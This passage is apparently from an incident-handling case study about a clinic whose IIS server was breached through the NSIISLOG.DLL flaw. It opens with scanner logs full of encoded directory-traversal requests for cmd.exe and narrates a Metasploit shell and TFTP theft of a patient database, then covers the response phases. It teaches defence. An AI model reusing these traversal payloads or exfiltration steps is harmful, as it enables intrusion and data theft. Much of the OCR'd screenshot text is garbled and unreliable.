T01E63AM  fecripts/.. Zu00256c., Zu00285cwinnt spstern32/omd ewe?/o+.. 198.161.203111 a0 433 200 03-15-2004 10.1
101801 &M fscripts/samples/search/gfullhit hbw 198.161.203.111 a0 105 200 03-15-2004 101
101801 &M fecripts/samples/searchy/gsurmrhit kv 198.161.203.111 a0 105 200 09-15-2004 10.1
101300 AWM Vecripts/check bat/. %01 %00 501290 201 %90winnt/spste.. 198.161.203111 a0 453 200 03-15-2004 101
10:20:134M /7 private! 198.161.203.111 a0 1316 403 03-15-2004 10. 2’
12022 AW /_whi_cnfd 198.161.203111 80 136 403 03-15-2004 10 2
10203 AM At put? 198.161.203.111 a0 1316 403 03-15-2004 10.2
10:20:524M 7 wti_bind 198.161.203.111 a0 172 403 03-15-2004 102 =
10:20:524M /it bind. %3%35%63. %% 30%63. X x30%63. XX30XE3 3. 198.161.203111 a0 473 200 03-15-2004 10.2
T0:20:52AM /vt bind %330%63. 7 23063/ HA00%E3 Jwinnt/syst.. 198.161.203111 a0 433 200 03-15-2004 10.2
12055 AW /_wh_hin/ #%35c %%35c %%35c %E35c ZH35c fwinntis 198.161.203111 80 473 200 03-15-2004 10
10:20:55 4K /_whi_bind %%35c./ %5350/ %% 300 Awinnt/spstem32/em.. 198161203111 a0 433 200 03-15-2004 10.2
10:20:65AM /vt bind. %28%30%63. 203063 X26% 30563 X 26% 36, 198.161.203111 a0 473 200 09152004 105
102065 AM /vt bind %25%30%63. /. %20%30%63. /. 22830563, Awin.. 198161203111 a0 433 200 03-15-2004 10.2
10:20:68AM  /_whi_bind. %2860/ %2660 /. %2850 Jwinnt/systern32/om... 198.161.203111 a0 473 200 03152004 10.2
12058 AW /_wh_hin/, #2550 %2050 %255c %2550 2550 Awinntisys. 198.161.203111 a0 479 200 03-15-2004 102
10:21:024M  /_whi_bin/ %255¢.. /. %255¢c.. /. %2500, Awinnt/systen32/emd... 198161203111 a0 473 200 03-15-2004 10.2
10210246 /_wti_bind. %285,/ %2860, /. £2860. Swinnt/system32/omd... 198.161.203111 a0 453 200 03-15-2004 10.2
10:21:024M /vt bind SC0%AF. /2 %C0%RAF. 7 ECO%AF Awinnt/system3.. 198.161.203111 a0 473 200 03-15-2004 10.2
To21:02AM /vt bind. ZcO%af. 2e0Xaf. Zel%af 2o0%al 2olial. Awinn..  198.161.203111 a0 473 200 03-15-2004 10. ‘{il
Miner <] M | @

|1 44 request(s] |

Figure 6 - Syhunt Sandcat Scanner output

2l Syhunt Sandcat Request Viewer

File Reguests

Security Scanner Haost:  198.161.203.111
Port: 80

Date:  2004-9-15

Time:  10:17:35 AM

Request:

I.:"scripts.”nsiislog. dil

Header:

HTTRA.1 200 OK

Server: Microsoft15/5.0

Date: wed, 15 Sep 2004 17:15:56 GMT
Content-Type: text/hitml

Rezpanze:

<head: <title> NetShow 15AP] Log Dll< At < head:
<bodyx<h1:NetShow 1S4P| Log Dll</h1>

87 byte|z] received. Connect HTML
Status: 200
Miner

144 request(z) | |

Figure 7 - Syhunt Sandcat Request Viewer details
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There are many other scanning tools available, most of which are free for
download. The attacker has a nearly unlimited arsenal of scanning weapons at
their disposal; if one doesn’t suit the task at hand, another surely will.

Scan | Host and Service Discovery | Soan Options | Taols | Windows Enumerstion | About |
= : : _ )

P | [

ResdIPs e 2 |

Figure 8 - Port scan using Superscan 4.0
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[ 5o | Host e Seice Discovery | Scan Dt | Todks Wi Eramerstion | About |

HostnomeIP/URL [JSTET20ATHT [ Emeds | Qptors. | G |
ype. | |m n o 161

il
[0:34 savediog fie Lver 1 [TCPopen:d  [UDPopen:4  |l/Ldone

Figure 9 - Windows enumeration using Superscan 4.0
[ 5o | et enasenice Dissovey | SconOstrs | Tocks Widvs Evumeraton | bt |

Hostmamenp oL [FETEVERTT

Figure 10 - Windows enumeration (2) using Superscan 4.0
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Exploiting the System

Once the attacker has gained all the information he requires through the
reconnaissance and scanning stages, exploitation of the target system can now
begin. To do this, the attacker chooses a tool to take advantage of the
discovered vulnerability, in this case NSIISLOG.DLL. This hacker’s tool of choice
is called Metasploit. Metasploit is an extremely powerful application that allows a
user to choose which exploit to use and then also decide what payload to deliver
with the chosen exploit. It can be run from the command line and also from a
web interface. Figures 11 through 17 illustrate the steps taken by the hacker to
gain access to the target system. Each of these steps is described below.

1. The hacker performs a directory listing to ensure all the Metasploit files
are installed (Figure 11).

B C:\WINDOWS\System32\cmd.exe -|d ﬂ

Figure 11 - Directory contents for Metasploit

2. The attacker launches the command line interface for Metasploit by
entering msfconsole._bat atthe command prompt. Once running, the
attacker enters the parameters required to exploit the target system
(Figure 12).
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B C:\WINDOWS\System32'\cmd.exe - msfconsole.bat -|O ﬂ

Figure 12 - Parameters entered into Metasploit

3. The hacker launches the exploit against the target system and a remote
shell is spawned. The hacker now has access to the target host (Figure
13).

B C:\WINDOWS\System32\cmd.exe - msfconsole.bat -|d ﬂ

Figure 13 - Exploit executed and remote shell established

4. The hacker locates the patient database and checks to see if TFTP is
operational on the target host (Figure 14).
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B C:\WINDOWS\System32'\cmd.exe - msfconsole.bat -|O ﬂ

Figure 14 - Existence of TFTP utility verified

5. The hacker now prepare his computer to receive the patient database. To
do this, he uses 3COM'’s 3Cdaemon, available at
http://support.3com.com/software/utilities_for_windows 32 _bit.htm (Figure
15).

- 3CDaemon [:J@

File View Help

TFTFP Server Start Time | P... | Bytes | Status |
Sep 15, 2004 11:33:31 local 0 Listening for TFTP requests on IP address; 192, 168,42, 1, Port 69

Sep 15, 2004 11:33:31 local 0  Listening for TFTP requests on IP address: 192, 168.255.1, Port 69
Sep 15, 2004 11:33:31  local 0  Listening for TFTP requests on IP address: 198, 161,203,253, Port 63

Logging to Thpd log.
Click to stop.

Mot debugging.
Click to start.

Clear list.

|4 05l
FTP Server

Syslog Server

TFTP Cliert

For Help, press F1

Figure 15 - 3-Com 3CDaemon TFTP server
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6. The patient data file is sent to the hacker’'s computer (Figure 16).

B C:\WINDOWS\System32\cmd.exe - msfconsole.bat -0 ﬂ

Figure 16 - TFTP transfer of Patient database to attacker

7. The hacker’'s computer receives the patient data file (Figure 17).
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3CDaemon [L_J@
File View Help
TFTP Server Start Time | Peer Bytes | Status
Sep 15, 2004 11:37:47 198,161,203.111 1753160 Rcv of Patients.mdb done, 1753160 bytes in 8 secs. (214 KB/sec)
Sep 15, 2004 11:33:31 local 0 Listening for TFTF requests on IP address; 192, 168,42, 1, Port 69
Sep 15, 2004 11:33:31  local 0  Listening for TFTP requests on IP address: 192, 168.255.1, Port 69
Sep 15, 2004 11:33:31  local 0  Listening for TFTP requests on IP address: 198.161.203.253, Port
P
FTP Server
Syslog Server
TFTP Client Fl Y
For Help, press F1

Figure 17 - Patient database received by attacker

The hacker’s job now done, he breaks the connection to the target host.

Normally, the hacker would install tools on the remote system, such as Netcat
(http://netcat.sourceforge.net), to allow him to reconnect at will and keep access
to the system. In this case, however, he does not want to leave any evidence of
the attack. The attack will be public enough very soon and he wants to distance
himself as quickly as possible. His client has paid him well for the data and the
hacker will now move on to other projects for other clients.

Besides, with the arsenal of attack tools at his disposal, even if the
NSIISLOG.DLL vulnerability is patched, surely there will be another way in
should the need arise.
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The Incident Handling Process

The incident handling process is comprised of six steps or phases. These
include preparation, identification, containment, eradication, recovery, and finally
lessons learned. Each of these steps or phases will be discussed below.

Preparation Phase

All throughout history, there have been numerous examples of incidents where
preparation had been overlooked, only to result in disastrous consequences.
Pearl Harbor in 1941 is one such example. The lack of preparation on the part of
the American navy allowed the Japanese to attack at will, virtually un-contended.
Had adequate preparation been undertaken, this attack could have had a very
different outcome.

Although a computer attack typically does not create a life and death situation, it
can be just as devastating to an organization as the above incident was on the
Americans in World War Il. To ensure that such incidents are handled in an
appropriate and timely fashion, the organization must be prepared. The ease
with which an attacker can exploit an organizations computer system these days
means that the question the organization must ask of itself is not IF it will be
attacked, but WHEN.

In the case of the unfortunate doctor, the possibility of being hacked never even
entered his mind.

Policy

One of the first tasks that should be undertaken in the preparation phase, is the
least technical of all subsequent tasks, but it is absolutely the most important. An
organizational policy must be created and approved with regards to the use and
protection of computer systems within organization. At first, this sounds like a
relatively simple task — after all, it's only a document. A computer usage policy
doesn’t involve the installation or configuration of complex firewalls or intrusion
detection systems. It is this task, however, where most organizations will have
the greatest degree of difficulty. This is especially true if dealing with an existing
organization with a history of no usage policy. Users don'’t like change in the way
they work or access computer systems at work and will typically oppose anything
they feel impedes with their job or perceived freedom. As a result of this,
management may drag their heels in approving the policy. One way to impress
upon management of the importance of a usage policy is to provide a
demonstration of just how the organization can be attacked. Of course it is
absolutely imperative that permission must be given prior to performing any kind
of attack.
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One key item that should be included in the policy is the placement of warning
banners. Warning banners should be posted that make it very clear that use of
the system may be monitored for security purposes. It should also state that the
system is limited to authorized activity and any unauthorized activity will be dealt
with under the organizations discipline policy (if one exists). It is very important
that the wording of the banner be reviewed by a lawyer to ensure any legal
requirements are met.

Once a policy is approved, it must be given the widest possible distribution within
the organization. All individuals within the organization must be made aware of
the policy’s existence. One effective means to ensure this is to have all
employees sign the policy and keep the signed document on their personnel file.

The clinic had no such policies in place. Even if they did, they would not have
been protected from the attack they experienced. Unfortunately, hackers do not
care about security policies.

Sample policies and templates can be found at www.sans.org/resources/policies.

Existing Incident Handling Procedures

Any existing incident handling procedures must be continually reviewed. As
systems change, different methods of incident handling may need to be
employed or developed. One way to keep the procedures meaningful is to
perform occasional drills. With permission from management, stage an attack
and then put the existing procedures into effect. Any deficiencies in the existing
procedures should be documented and updated.

Existing Countermeasures

Just as incident handling procedures need to be reviewed and kept current,
attack countermeasures require even more updating. Hackers are not content to
keep using the same old tools and exploits over and over. New attacks and tools
are continually being developed to find new vulnerabilities and exploits. As a
result of this, countermeasure being used must continually be updated. Just as
new virus definitions must continually be updated on antivirus software, to
maintain adequate levels of protection, so too must Intrusion Detection System
signatures be updated on a regular basis.

The clinic in the sample scenario had only a home use router for
countermeasures. Clearly, this was not enough.
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Incident Handling Team

As one person, it may be a formidable if not impossible task to adequately
respond to an incident. This may be due to the sheer amount of work required,
or by political boundaries that are imposed upon you. As a result, an
organization should endeavor to form an Incident Handling Team. This team
would handle incidents from discovery to debriefing. Due to the numerous
unknowns involved in an incident, it is best to form a multidisciplinary team
comprised of individuals from various business units and professions. Of course,
identifying and compelling people to join such a team may be more difficult in
practice. The individuals chosen for the team must show a genuine interest in
the goals of the team and also in expanding their technical awareness through
self-learning.

The incident handling team must be given full access to all systems. They
should have access to passwords for all systems and servers. With this access,
however, they must be diligent not to abuse the access they have. The team
should also have the ability to setup a “war room” where they alone have keys to
the room. This is where any evidence can be stored and the investigation can
take place in an isolated and private environment.

As an example, an incident handling team in a large organization should include
the following practices:

e Computer Security Analyst — To provide expertise in the area of computer
security and forensics.

e Physical Security Personnel — To provide expertise in the area of physical
security and theft analysis.

e Network Management — To provide expertise in network traffic analysis.

e System Administration — To provide assistance with system statistics.

e Legal — To ensure that any actions required or taken are done so within
the confines of the law.

e Human Resources — To provide expertise to deal with employees.

e Public Affairs — To be the single point of contact for external agencies
such as the media or business partners.

In a small office, a GCIH certified computer security consultant should be called
in as quickly as possible.

Policy Examples

Examples for computer usage policies can be found at
www.sans.org/resources/policies. The samples contained here can be
downloaded and modified to include specific organizational requirements.
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Jump Kit

One very important aspect of preparation is the creation and maintenance of a
jump kit. A jump kit is a tool case or duffle bag containing all the items that may
be required to deal with an incident. The creation of a jump kit may be a hard
sell in some organizations as it contains equipment that may never get used.
Management typically don’t like purchasing equipment unless there is a definite
need for it. This is where a convincing argument must be made and
demonstrated for management.

The following can be used a checklist for items that should be included in a jump
kit. Additional items may be added or taken out depending on the organizations
computer infrastructure.

Tape or digital recorder

Spare tapes or media

Backup media (e.g. tapes, CDs, DVD-R, floppy disks, etc.)
Backup software (should be capable of doing binary copies)
Forensic software (e.g. Encase, The Sleuth Kit, etc.)
Windows OS media

Windows Resource kit(s)

Bootable CD ROMs (for analysis without modifying HD files)
External Hard drive

Network hub (must be a hub, not a switch, to allow for network sniffing)
Patch cables

Crossover cables

Serial cables (to connect to routers, switches, etc.)

Contact list

Plastic bags (for evidence collection)

Notebooks (with numbered pages)

Pens & pencils

Computer toolkit

Cable converters (gender benders)

Business cards

Flashlight

Laptop computer

Digital or film camera

Batteries of various sizes (e.g. AA, AAA, C, D, 9v, etc.)

This list is by no means exhaustive and should be modified to meet the
operational environment.

The jump kit should always be available. In a large organization with more than

one security analyst, additional jump kits should be kept. It is very important not
to pilfer equipment from the jump kit. There is nothing worse than getting on-site
of an incident and discovering you are missing a needed component.
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Identification Phase

This section of the report will cover the timelines involved in the attack upon the
hapless clinic described in the prologue.

Before one can begin identifying an incident, a clear definition must be provided
of exactly what an incident is. Within the context of this report, the term incident
refers to an action in which harm or an attempt of harm towards an organization’s
information system(s) occurs. Examples are unauthorized access to sensitive
data, logging in to someone else’s account, and the execution of malicious code.

To determine what happened, a computer security consultant was called in to
investigate. The investigator first determined which computer contained the
patient data files. Upon doing so, he unplugged the computer without turning it
off in order to preserve the current state. Next, he made two duplicates of the
hard drive using an Image MASSter Solo2 Professional Plus drive duplicator
available from www.abcusinc.com. All the while, he was recording his actions
into his digital recorder.

Once the hard drive was copied, one of the copies was sealed in a static proof
plastic bag and sealed. It was labeled “Evidence — DO NOT TAMPER” and
given a unique identification number. The second copy was also placed in a
plastic bag and was labeled “Working copy”. This was recorded in a notebook
carried by the investigator.

Next he booted the computer in question and began examining the system logs
and reviewing the services and processes running on the system. Clinic staff
had rebooted the system multiple times since the incident was noticed, resulting
in no abnormal processes running in memory.

This was not going to be easy.

Next the consultant reviews which Windows components are installed. This is
where the first clue was discovered. He noticed that Windows Media Services
was installed. This rang a bell in his head. He had read about a vulnerability
associated with Windows Media Services. With this information he went back to
the Windows Event Viewer, now looking for the traces of this vulnerability
exploited. He started looking for events from the W3SVC source. After about 25
minutes, he found what he was looking for. The system had been compromised
by an exploit of the NSIISLOG.DLL file on September 10" at 10:36 in the
morning.

There was no clear trace of what the hacker actually did on the system, however
due to the posting of patient names, it was surmised that the intruder had copied
the patient database. Clearly, this was not just a case of random hacking. The
attacker knew who the target was and had a specific objective.
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The investigator searched the website where the names were posted and
discovered that the page had last been modified on September 13", 2003 at
22:30.

At this point, the consultant suggests that the police be involved as this was
definitely a premeditated attack.

Incident Timeline

Incident Timeline

9/16
Patients complain 9118
of7 9/10 9/13 Security consultant  Investigation taken
New server setup Server exploited Patient names posted called over by police
A" RN N
|
Sep 7, 2003 Sep 20, 2003
917
Security Consultant
investigates

The incident at the clinic took approximately six days to be discovered from the
point of intrusion. Unfortunately, the length of time this identification took
resulted in a disastrous outcome for both the clinic and its patients. The first sign
of trouble came as a notice of impending lawsuit on behalf of a patient. Until that
time, the clinic had no idea there was a problem.

Countermeasures Assessment on Effectiveness

The clinic had no countermeasures except for the D-Link router, which was
performing basic firewall functions. This oversight would not be forgotten
anytime soon by the doctor.

Chain of Custody

When dealing with an incident that has possible criminal implications, it is
absolutely vital that a chain of custody be established. To do this, make sure to
identify every piece of evident and label and record into a notebook. The
notebook must have numbered pages and none of the pages can be missing. If
pages are missing, the validity of the notebook could be lost during court
proceedings. All evident must be locked away with no access except for the
investigator(s). When any evidence if handed over to authorities, make sure that
they sign for it and record the date in the notebook.
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All files should be kept in their original state for as long as the investigation and
any subsequent legal proceedings continue. The best way to ensure this is to
make at least two binary backups of the compromised system. Keep one backup
locked up and perform analysis on the other. This way, all files are maintained in
the same state as when the original backup was made.

In the case of our clinic, the backup of the hard drive was of limited value as the
clinic had been operating for several days after the system had been exploited,
including numerous reboots.

Containment Phase

The containment phase is where modifications to the system(s) will be done in
order to prevent further recurrences of the incident — to stop the situation from
getting worse.

Containment Measures

The following measures were taken to prevent further recurrences of this
incident.

e The connection to the Internet was broken. This entailed removing the
patch cable connecting the D-Link router to the DSL modem.

e The router was configured to stop forwarding requests on TCP port 80 to
the server. Figure 18 shows this configuration.
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<3 DI-604 - Microsoft Internet Explorer
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! “irtual Server is used to allow Internet users access to LAN services.
Vlﬂuqlw ' Enablef]l @ Disabled
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: Private |P IW
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" Filters Private Port IBD—
e : Public Pt [a0 | -
Schedule % Always
© From time |01 =] ;|00 =] [&M =] 1o |01 =] [00 =] [ A =]
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Figure 18 - DI-604 router configuration

Detailed Backup of a Victim System

The security consultant also setup a backup schedule for the clinic’s server to
prevent any data loss from occurring. The steps he performed to accomplish this
are described below and shown in Figures 19 through 33.

1. First he ran ntbackup . exe from the start menu.

Run EE

E Type the name of a program, folder, document, ar

Internet resource, and Windows will open it For waou,

open: I ntbackup] j

I I Zancel | Browse, .. |

Figure 19 - Running ntbackup.exe
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2. He then clicked on the Backup Wizard button and clicked “Next” on the

Backup Wizard startup screen.

& Backup - [Untitled] =]

Job  Edit Wiew Tools Help

ackup ] Fiestore ] Schedule Jobs ]

Welcome to the Windows 2000 Backup and Recovery Tools

Backup Wizard

% The Backup wizard helpz you create a backup of pour programs and files o you can prevent data
iy Exm loss and damage caused by disk failures, power outages, wius infections, and other potentially
damaging events.

Bestore Wizard

5 [ The Restore wizard helps pou regtare your previously backed-up data in the event of a hardware
4| e failure, accidental erasure, or other data losz or damage.

Emergency Repair Disk

Thiz option helps you create an Emergency Repair Digk that you can use to repair and restart
Windows if it iz damaged. This option does not back up your files or programs, and it iz not &
replacement for regularly backing up your system.

=

Figure 20 - ntbackup welcome screen

Backup Wizard

Welcome to the Windows 2000
Backup and Recovery Tools

Thiz wizard helps pou create a backup copy of your data. In
the event of a hardware failure or accidental erasure, you
can uze the backup copy to restore pour data.

To continue, click Next.

Cancel

Figure 21 - Backup wizard startup screen
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3. Next “Back up selected files, drives, or network data” was selected and
the “Next” button clicked.

Backup Wizard E |
What to Back Up
“ou can specify the tems you want to back up.
=

Select what pou want to back up:

" Back up everything on my computer
* Back up selected files, dives. or network data

" Only back up the System State data

< Back

Cancel |

Figure 22 - Selecting what to backup
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John Zabiuk
4. The C: drive was selected to be backed up and the “Next” button
clicked.
Backup YWizard |
Itemsz to Back Up
Y'ou can back up ary combination of drives, folders, ar files. @
.7 2=
%r_\—l Click to select the check box nest to any drive, falder, or file that you want to back up.
Mame | Camrnent |
B Q, by Computer
@ My Documents
7128 My Metwirk, Places
<15 System State
&y My Documents
-] My MNetwark Places
< Back I Mext = I Cancel
Figure 23 - Specifying what files to backup
5. Next, the “Backup media type” was changed to Tape.
Backup Wizard E |

Where to Store the Backup
“our backed-up data iz stored on the media in the destination pou specify.
= S

Choose a media type for pour backup. and then enter the name of the media to receive
the backup data.

Backup media tvpe:

File 7
Backup media or file name:
i SB ackup. blkk Browse. |

< Back I Mest > I Cancel

Figure 24 - Selecting backup media
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6. On the next screen, he clicked the “Advanced” button. All options were
left as is on this screen, and “Next” was clicked.

Backup Wizard B

Completing the Backup Wizard

=

Y'ou have successfully completed the Backup wizard. vou
specified the following settings:

Descrption:  Set created 3416/2004 at 8:23 A

Wwhat: Back up only certain files, folders, or diives
Media type:  File

Media: A:MBackup.bkf

wihen: MHow

Hawr Werify off, Do not use hardware compression,

Append to my media

To start the backup, click Finish,

T specify additional backup options,
Click Adwvanced. Advanced... |

<Back |i Finish Cancel |
Figure 25 - Choosing Advanced configuration
Backup Wizard [ x|
Type of Backup
You can perform various types of backups, depending on your needs. @

Select the bwpe of backup operation to perform;

T |

Dezcription

Backs up all selected files, and marks each file as backed
up.

Specify whether to back up contents of files which have
migrated to Remate Storage.

™ Backup migrated Bemote Storage data

< Back I Mest » I Cancel

Figure 26 - Default settings for Type of Backup

7. “Verify data after backup” was selected and “Next” was clicked.
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Backup Wizard %]
How to Back Up
‘Y'ou can specily verfication, and compression options.
- °

Select the checkbox for any option you want to uze.

Yerification reads the backed-up data to verify itz integrity. Thiz
zhep takes extra time, but verification helps ensure that your
backup iz successful.

I [ e ardivare, compression, i ayaia6e

Hardware compression increases the available storage space
on the backup media, which reduces storage costs. However,
comprezzed backups can only be restared with drives that
support compression.

< Back I Mext » I Cancel

Figure 27 - Selecting Verify Data

8. On the “Media Options” screen, all selections were left at default.

Backup Wizard %]

Media Options
‘f'ou can specily whether to overwrite data, and whether to restrict access to your
data. T

If the archive media already containg backupz

i+ ;Qppend thiz backup to the mediz

& Beplace the data on the media with thiz backup

The fallowing option applies to all backups made to the media
and it iz available anly if pou are replacing the current content
on the media.

I | Ellows anlis the aumen and e Sditishaton aceess b the
brackup data and o anp backupe appended|to this media

< Back I Mext » I Cancel

Figure 28 - Selecting media options
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9. The “Backup Labels” were left with the default text.

Backup Wizard E

Backup Label
‘rou heed a label for the backup and the media you are using.
=St

Accept the default [abels shown, or type a different label.
Backup label:
Set created 941742003 at 8:25 AM

If the media iz blank, or itz data is replaced, use this label instead.
Media label:
Media created 91742007 at §:01 &M

< Back I Mext » I Cancel

Figure 29 - Backup label

10.  Next, the backup was scheduled to run later, given the name
“WEEKLY BACKUP”, and the “Set Schedule” button was pressed.

Backup Wizard E

‘when to Back Up
*r'ou can run the backup now or echedule it for later.
-

Tarun the backup immediately, click Now. To schedule the
backup for a later time, click Later, and then complete the
Schedule entry.

 Mow
= | ater

Schedule entry

Job name: |WEEKLY BACKUP

Shark date: IT hurzday, September 16, 2004 at 8:33 Ak

Set Schedule. .. |

< Back I Mext » I Cancel

Figure 30 - Setting the backup schedule

11. The schedule was set as per Figure 31.
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Schedule Job K E

Schedule | Settings |

=1 At330PM every day, staring 9/16/2004

S

Schedule Tazk: Start tine:

IDaiI_I,J j I IER PM +|_| Adwaticed... |
Schedule Tazk Daily

Every |1 _I: day(s]

™ Show multiple schedules.

Ok I Cancel |

Figure 31 - Setting the backup schedule (2)

Backup Wizard [ %]

Completing the Backup Wizard

=

Y'ou have successfully completed the B ackup wizard. You
specified the following settings:

Description:  Set created 3/17/2003 at 8:25 Ab

what: Back up only certain files, folders, or drives
Media type:  File

Media: AchBackup.bkf

Wwher: Thurzday, September 16, 2004 at 9:00 Ph

How: Werify on, Do not use hardware compression,
Append to my media

Presz Finish to schedule the backup.

< Back Cancel

Figure 32 - Backup wizard complete

12.  The consultant then confirmed the scheduled job by selecting the
“Schedule Jobs” tab.
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€= Backup - [Schedule Jobs] M=l &3
Job  Edit  Wiew Tools Help
Welcomel Backupl Restore  Schedule Jobs |
| ot | September, 2004 > |
Sun Mon Tue Wed Thu Fri Sat

29 30 k1l 1 2 4

5 ] 7 8 9 1

12 13 14 15 18

19 20 21 22 23 25
=) =) =) =)

26 27 28 29 30 2
=) =) =) =)

ks
T n‘ﬁn = «

System Event

B
Epa
i
B

Add Job |

Figure 33 - Confirming the backup schedule

Eradication Phase

The eradication phase involves removing the cause of the incident, improving
defenses, and scanning to look for any further vulnerabilities.

The root cause of this incident was the installation of Windows Media Service
and Internet Information Services without having adequate network defenses to
allow safe use of these Windows components. Secondary to this, the patient
database was stored in a directory in which the group “Everyone” had full
permissions. While this may be acceptable for the context of the clinic, it opens
many doors if the network is not secure.

The security consultant called in by the clinic began the eradication phase by
removing Internet Information Services and Windows Media Services from the
server. If the clinic wanted to maintain a web presence, he advised them to have
their site hosted by their ISP. This way, the ISP would need to deal with security
or the web server, not the clinic. This is done through Add/Remove Programs in
the Control Panel (Figure 34). From within the Add/Remove Programs window,
Add/Remove Windows Components is selected (Figure 35) and a dialog box
appears listing the various components that are installed. The Internet
Information Services (IIS) and Windows Media Services are to be deselected
(Figures 36 and 37).

Next the server is brought up to the latest service pack and all security patches
are applied.
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Upon scanning with Nessus, available at www.nessus.org, no further
vulnerabilities are found on the server.

J File Edit Yiew Favorites Tools Help |i
J SEack = = - | @Search - Falders @History | 5 BF % w | Ed-
J.ﬁ.gdress IIEI Cantral Panel j 6)'5':'
) 1 e -1 Mare | Carnrment | o
(I Accessibility Cpkions  Customizes accessi...
e %Addmemove Har... Installs, removes, a...
Control Panel et fa [ I N S W [ristalls and remove. .,
[&8] Adrministrative Tools Caonfigures administ. .,
Add/Remove Programs @l Date/Time Sets the date, time, ...
In_stalls and removes programs and ] Displary Customizes your de. ..
L SR ) ﬁFnlder Options Customizes the disp...
Windows Update Fonts Displays and manag. ..
Windows 2000 Support f%Game Caontrollers adds, remaoves, an...
@Internet Options Configures your Ink..,
%Keybaard Customizes your ke..,
ffi]Licensing hanges licensing o...
@ Mause Custamizes yaur ma,.,
Metwork and Dial-... Connects bo other c...
Phone and Mode...  Configures your tel... b
ﬁiner Options Configures energy-...
(& Printers Adds, removes, an. ..
@Regional Options Customizes settings... LI
T . - P
|Insta||s and removes programs and Windows compaonents |@l [y Computer i

Figure 34 - Windows Control Panel
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Fj'g Add/Remove Programs Hi=]

Currently installed programs: Saort I:q-':l Marne

There are no programs installed on this computer ;l

Figure 35 - Add/Remove Programs

Windows Components Wizard

Windows Components
Y'ou can add ar remove companents of WWindowes 2000,

To add or remove a component, click the checkbox, A shaded box means that only
part of the component will be inztalled. To zee what's included in a companent, click

Detailz.

Components:

Z0 Indexing Service 00ME =]
I ?'5 Internet Information Services [115] 220 B

EE] M anagement and Monitoring Tools b2 MB

[] = Message Queuing Services 2.6 B

W1 2= M ehwnrkinn S ervices 3R MR ;I

Descrption: 115 services MWeb and FTP support] along with support For FrontPage,
tranzactionz, ASPz, databaze connections, and receiving of posts.

Total disk space reguired: 11.8 MB Detail
g 18372.3 ME ﬁl

< Back I Mest = I Cancel |

Figure 36 - Removing IIS
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Windows Components Wizard |

Windows Components
Y'ou can add or remove components of Windows 2000,

To add or remove a component, click the checkbox. A shaded box means that anly
part af the companent will be installed. Tao zee what's inclided in a component, click

Details.

Components;

&5 Script Debugger 1.1 MEB ;I
g Terminal Services 14.3 MB

O r;’f Terminal Services Licensing 0.9 MB
: i Jfices 191 MB

Description:  Enables you ko stream multimedia content ta netwark, users.

Total dizk zpace required: 0.9 kB Details |
Space available on dizk: 18372 3 ME —

< Back I Ment » I Cancel |

Figure 37 - Removing Windows Media Services

Windows Components Wizard

Configuring Components
Setup iz making the configuration changes you requested.

Pleaze wait while Setup configures the components. This may take
zeveral minutes, depending on the components zelected.

Statuz:  Building file list...

< Back [HEwt =

Figure 38 - Windows Components Wizard removing files
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Windows Components Wizard

Completing the Windows
Components Wizard

You have successfully completed the 'Windows
Components ‘wizard.

To cloge thiz wizard, click Finizh.

< Back

Figure 39 - IIS and Windows Media Services removed

Recovery Phase

The recovery phase is concerned with getting the organization back in business.
During the Identification, Containment, and Eradication phases of this incident,
the clinic was without it's patient data system. Although business continued, the
patient files could not be accessed or updated. This caused a slowdown in
general operations. Several appointments had to be rescheduled. The length of
time the clinic was without its data system was one day.

Fortunately, the clinic’s patient data system was not very complex and the
application files were not corrupted in any way. As a result, the system was
made operational as soon as the security consultant was finished with the
Eradication phase.

Lessons Learned Phase

There are many lessons learned in this incident, both technical and non-
technical. The security consultant met with the doctor to perform a debriefing of
the incident.
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The consultant outlined three primary lessons that were learned (or so he hoped)
as a result of this incident.

The first lesson learned was to never let a “knowledgeable friend” setup your
corporate business systems as a favor. They may be good to call upon when it
comes to your home computer, but when it comes to your business and your
professional reputation, it is best to leave it to the professionals. These
professionals are trained and should be familiar with correctly securing a server
and/or website. Even though it may be their business, it never hurts to ask for
references and follow up with the references. If they cannot provide you with any
references, this is a red flag and you should consider getting a second opinion.

The second lesson is that of Internet security. Never directly connect a system to
the Internet if that system contains sensitive information. If it must be connected,
ensure that it is protected behind a business class firewall. The router in use by
the clinic may be ok for home, but has no place in a business protecting patient
data. You should gauge how complex your security should be or how much you
should invest in security in proportion to what would happen if your data were
stolen or your systems destroyed.

The last lesson learned is that unless you are willing to implement adequate
security and are willing to live with the consequences if that security is breached,
you should have an ISP host your web site and let them deal with the security.
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Exploit References

BugTraq ID: 7727

BugTraq ID: 8035

Common Vulnerability Exposure (CVE) ID: CAN-2003-0227

http://marc.theaimsgroup.com/?l=ntbugtrag&m=105421176432011&w=2

http://marc.theaimsgroup.com/?I=ntbugtrag&m=105421127531558&w=2

Bugtraq: 20030528 RE: Alert: MS03-019, Microsoft... wrong, again. (Google
Search)

http://marc.theaimsgroup.com/?l=bugtraqg&m=105427615626177&w=2
Microsoft Security Bulletin: MS03-019

http://www.microsoft.com/technet/security/bulletin/ms03-019.asp

http://oval.mitre.org/oval/definitions/pseudo/OVAL936.html

http://oval.mitre.org/oval/definitions/pseudo/OVAL966.html

Common Vulnerability Exposure (CVE) ID: CAN-2003-0349

http://www.ntbugtrag.com/default.asp?pid=36&sid=1&A2=ind0306&L=NTBUGTR
AQ&P=R4563

Bugtrag: 20030626 Windows Media Services Remote Command Execution #2
(Google Search)

http://marc.theaimsgroup.com/?l=bugtrag&m=105665030925504&w=2

Microsoft Security Bulletin: MS03-022

http://www.microsoft.com/technet/security/bulletin/ms03-022.asp

http://oval.mitre.org/oval/definitions/pseudo/OVAL938.html
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Microsoft Security Bulletin MS03-022
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulle
tin/MS03-022.asp

SANS
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Freesoft.org
http://www.freesoft.org/CIE/RFC/793

Security Space
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http://www.webster-dictionary.org

Neohapsis Archives
http://archives.neohapsis.com/archives/ntbugtrag/2003-g2/0112.html
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http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0349
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